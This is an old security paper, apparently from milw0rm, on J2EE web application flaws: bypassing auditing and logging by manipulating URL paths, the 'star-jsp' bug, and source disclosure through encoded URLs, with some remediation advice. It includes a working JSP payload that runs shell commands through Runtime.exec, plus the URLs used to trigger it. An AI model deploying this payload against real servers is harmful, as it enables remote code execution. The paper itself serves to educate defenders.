##############################################################
#
#
A few of J2EE-based web applications common vulnerabilities #
#
Author: Micha³ Buæko - sapheal #
HACKPL (www.hack.pl) #
#
#
##############################################################
In this paper I would like to talk about a few (out of a big amount)
of the vulns I had bumped into some time ago. I concerns the
auditing and logging systems as well as the whole web applications
based on J2EE technology.
What is auditing & logging system?
Auditing and logging system does care of many security-related
problems (not only) in J2EE applications. From one side, it
does log the users' (logged into the application) activity.
Moreover, if the activity seems to be abnormal, it might block
the user.The simplest possible example is detecting the user
trying to exploit the web application using SQL injection.
Logging and auditing systems often take care of so-called
subfunctionalities. It means that two different parts of the
application cannot be accessed by two different users.(or one
user cannot access multiple web application's functionalities
at one time, and so on). However, in many cases the implementation
of auditing and logging is vulnerable so that it cannot do its
job correctly.
In this short paper I would like to describe two such
vulnerabilities that allow the attacker to bypass the auditing and
logging systems in many J2EE-based web applications.
Typical J2EE application does have a context:
http://myserver:someport/context/something.do
Auditing and logging system parses the URL to determine what the
operation is being done. However, an attacker might try to access
the website
http://myserver:someport/context/evil/something.do
In many cases this will lead allow the remote attacker to bypass
the auditing and logging as the parsing in a part of web
application is not done correctly. Moreover, in might also an
attacker to access the parts of the webapplication that are
disallowed.
In is common in J2EE-based web application (and not only!) that
the two different administrator users should not access the specific
data at the same time. This can also by often bypassed by using
the context bug.
The context should be checked and the URL should be parsed (suggested
parsing: the last "/"(%2f) should be looked for - however, this is not a
perfect idea and can be bypassed two by the usage of different encoding)
properly in order not to allow simultaneous access to the same volatile
web application data/process.
This vulnerability is often very helpful if an attacker wants to exploit
the known "star-jsp" bug. "Star-jsp" bug is another bug in J2EE web
applications. Not only does it affect the logging and auditing system of
the web application but the whole application. An attacker might try
to input java code into the field of the web application in order to
get it compiled by the application server and then, execute it using
famous "star-jsp" bug. This is our simple exploit (one of possible
thousands):
<%@ page import="java.io.*" %>
<%
String str=null,
out_str="";
try {
Process p=Runtime.getRuntime().exec("/bin/sh .c ls .la");
BufferedReader buf = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((str = buf.readLine())!=null) {
out_str= out_str + str;
}
}
catch(IOException e) {
e.printStackTrace();
}
%>
<pre><%=out_str %></pre>
This exploit is given as an input in one of the field
http://somewebsite/page/page.jsp
Then the JSP hander compiles the page.html file and we
http://somewebsite/*.jsp/../page/page.html
We can try to execute different commands remotely.
An attacker might also try to brute force the operations and then
try to to execute the operation that is normally to be executed
after authorization process is successfully ended. It might lead
to unexpected errors, sensitive information might be revealed.
An attacker might as well try to attack using SQL injection,
PreparedStatement should be used instead of normal statements.
Input should be properly sanitized, however, this might be a bit
of a problem.
As far as web servers are concerned, many of those are vulnerable,
some of those suffer from handling the URL encoding (e.g. displaying
the source of the files). An attacker might want to access the source
of the files in order to obtain sensitive information about the web
application. The example code below:
String url="jdbc:odbc:Autos";
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
Connection conn = DriverManager.getConnection(url, "admin", "mypass");
The example below shows how to exploit this:
http://somesite/servlet/file/somefile.jhtml
Some time ago it was very popular - "somefile.jhtml" source could be
revealed. Also using encoded URL and/or taking into consideration
the case sensitivity "JhTmL" might help a lot.
I hope this short article helped those interested in Java-based
web applications' security.
Best regards,
Micha³ Buæko - sapheal
HACKPL
www.hack.pl
# milw0rm.com [2006-11-02]
